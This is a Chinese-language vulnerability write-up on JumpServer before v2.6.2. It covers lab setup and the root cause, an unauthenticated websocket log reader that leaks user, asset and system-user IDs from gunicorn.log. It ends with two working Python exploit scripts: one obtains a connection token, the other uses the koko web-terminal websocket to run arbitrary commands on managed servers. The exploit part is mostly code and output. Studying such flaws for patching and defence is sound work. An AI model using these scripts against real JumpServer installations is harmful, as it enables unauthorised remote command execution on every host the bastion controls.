0x1 影响版本

< v2.6.2
< v2.5.4
< v2.4.5 
= v1.5.9
>= v1.5.3

安全版本:

>= v2.6.2
>= v2.5.4
>= v2.4.5 
= v1.5.9 (版本号没变)
< v1.5.3

0x2 环境搭建

Centos 7.0
Jumpserver 2.6.1
Chrome websocket 插件

cd /opt/
yum -y install wget
wget https://github.com/jumpserver/installer/releases/download/v2.6.1/jumpserver-installer-v2.6.1.tar.gz
tar -xf jumpserver-installer-v2.6.1.tar.gz
cd jumpserver-installer-v2.6.1
export DOCKER_IMAGE_PREFIX=docker.mirrors.ustc.edu.cn
./jmsctl.sh install

Tips: 全部默认回车即可,默认会安装 docker 拉取镜像启动。

默认配置。

04201-r0es6pumwu.png

启动 jumpserver。

./jmsctl.sh start

21256-di5bvf5d0z.png

访问 http://10.211.55.35:8080
默认用户密码 admin / admin

57797-6nmvtl7tfyt.png

进入后台添加资产。

78441-ens1za0saf.png

创建用户(该用户是资产(被控服务器)上的 root,或拥有 NOPASSWD: ALL sudo 权限的用户)。

17719-wi3buuk62cq.png

创建系统用户(该系统用户是用来跳转登录资产时使用的用户,支持SSH密钥、请手动填写账号密码、自动填充账号密码)。

30540-u828rjylqpj.png

资产授权用户。

50137-fe460mr52u8.png

WEB终端资产管理。

01316-k3oivn05eh8.png

41440-viryj2cpgae.png


0x3 漏洞原理

3.1 未授权Log日志读取原理

定位 JumpServer Github 最近一条 fix: bug commit

45531-ga8p40gg8b7.png

定位 CeleryLogWebsocket 类,大概读了下代码贴了下面部分注释。

37656-9ic1rcdwsci.png

get_task_log_path 函数中的 get_celery_task_log_path 读取文件时对后缀进行了校验,只能读取 .log 结尾的文件。

47271-827a2z62ro8.png

可以通过固定路径读取 gunicorn.log 该文件记录了 http 请求(请求源IP,时间,请求方式,url,响应码等)敏感信息,而由于 jumpserver 中存在一些以 get 方式处理敏感信息(system_user_id,user_id,asset_id)的接口导致可以通过如下方式获取一个20s 的token。


3.2 Token 获取

使用插件连接 websockt 读取 gunicorn.log 日志文件获取到 system_user_id,user_id,asset_id 参数值。

ws://10.211.55.35:8080/ws/ops/tasks/log/

{"task":"/opt/jumpserver/logs/gunicorn"}

搜索 api/v1/perms/asset-permissions/user/validate 文本

57583-d3c7gkieklv.png

在 docker 容器看了下,将关键参数值记录下来。

91092-cacp9ydgx1.png

跟进 apps/authentication/api/auth.py 文件内的 UserConnectionTokenApi 类。

46289-4obv38s67mx.png

该接口使用 system_user_id,user_id,asset_id 生成一个 20s 的 token

UserConnectionTokenApi 类对应的路由。

/api/v1/authentication/connection-token/
/api/v1/users/connection-token/

使用 Python 脚本获取 token

import requests

url = "/api/v1/authentication/connection-token/?user-only=None"
host = "http://10.211.55.35:8080"
data = {
    "system_user":"00ea5bc3-7a06-4809-91ae-2ad47d85c3ea",
    "user":"93c5dfa9-63d7-4b5c-8d97-90def49fbf65",
    "asset":"88db5a31-366a-46ff-bc91-c24693b1eb88"
}
print("##################")
print("get token url:%s"%(host+url,))
print("##################")
res = requests.post(host+url,json=data)
token = res.json()["token"]
print("token:%s",(token,))
print("##################")

31940-jy8be20cy7.png


3.3 命令执行

进入后台 WEB终端,观察发现是通过 websocket 处理 web_terminal 相关功能,攻击者利用获得的 tokensystem_user_id,user_id,asset_id 便可通过 websocket 在对应的服务器上执行命令。

64463-sa2ws3lmke.png

13137-2wcsyhwp6an.png

76924-3nkz8oo6auj.png

Python 利用脚本脚本。


import asyncio
import websockets
import sys
import requests
import json
import sys

try:
    cmd = sys.argv[1]
except:
    print("python3 demo.py {cmd}")
    sys.exit

url = "/api/v1/authentication/connection-token/?user-only=None"
host = "http://10.211.55.35:8080"
data = {
    "system_user":"00ea5bc3-7a06-4809-91ae-2ad47d85c3ea",
    "user":"93c5dfa9-63d7-4b5c-8d97-90def49fbf65",
    "asset":"88db5a31-366a-46ff-bc91-c24693b1eb88"
}
print("##################")
print("get token url:%s"%(host+url,))
print("##################")
res = requests.post(host+url,json=data)
print(res.text)
token = res.json()["token"]
print("token:%s",(token,))
print("##################")
target = "ws://10.211.55.35:8080/koko/ws/token/?target_id="+token
print("target ws:%s"%(target,))
print("##################")
# 向服务器端认证,用户名密码通过才能退出循环
async def auth_system(websocket):
    while True:
        cred_text = input("please enter your username and password: ")
        await websocket.send(cred_text)
        response_str = await websocket.recv()
        if "congratulation" in response_str:
            return True

# 向服务器端发送认证后的消息
async def send_msg(websocket,_text):
    if _text == "exit":
        print(f'you have enter "exit", goodbye')
        await websocket.close(reason="user exit")
        return False
    await websocket.send(_text)
    recv_text = await websocket.recv()
    print(f"{recv_text}")

# 客户端主逻辑
async def main_logic():
    print("#######start ws")
    async with websockets.connect(target) as websocket:
        #await auth_system(websocket)
        recv_text = await websocket.recv()
        print(f"{recv_text}")
        resws=json.loads(recv_text)
        id = resws['id']
        print("get ws id:"+id)
        print("###############")
        print("init ws")
        print("###############")
        inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})
        await send_msg(websocket,inittext)
        for i in range(20):
            recv_text = await websocket.recv()
            print(f"{recv_text}")
        print("###############")
        print("exec cmd: {}".format(cmd))
        cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})
        await send_msg(websocket, cmdtext)
        for i in range(100):
            recv_text = await websocket.recv()
            print(f"{recv_text}")

        print('#######finish')


asyncio.get_event_loop().run_until_complete(main_logic())

87955-hgaowe36c6.png

05273-co09i7aw9qw.png

成功返回系统环境变量。


参考
https://docs.jumpserver.org/zh/master/install/setup_by_fast/
https://github.com/jumpserver/jumpserver
https://my.oschina.net/u/4600927/blog/4913184
https://mp.weixin.qq.com/s/KGRU47o7JtbgOC9xwLJARw
https://mp.weixin.qq.com/s/1pQe78ehImDw9ufvSIxn9Q

标签: Web pen test

添加新评论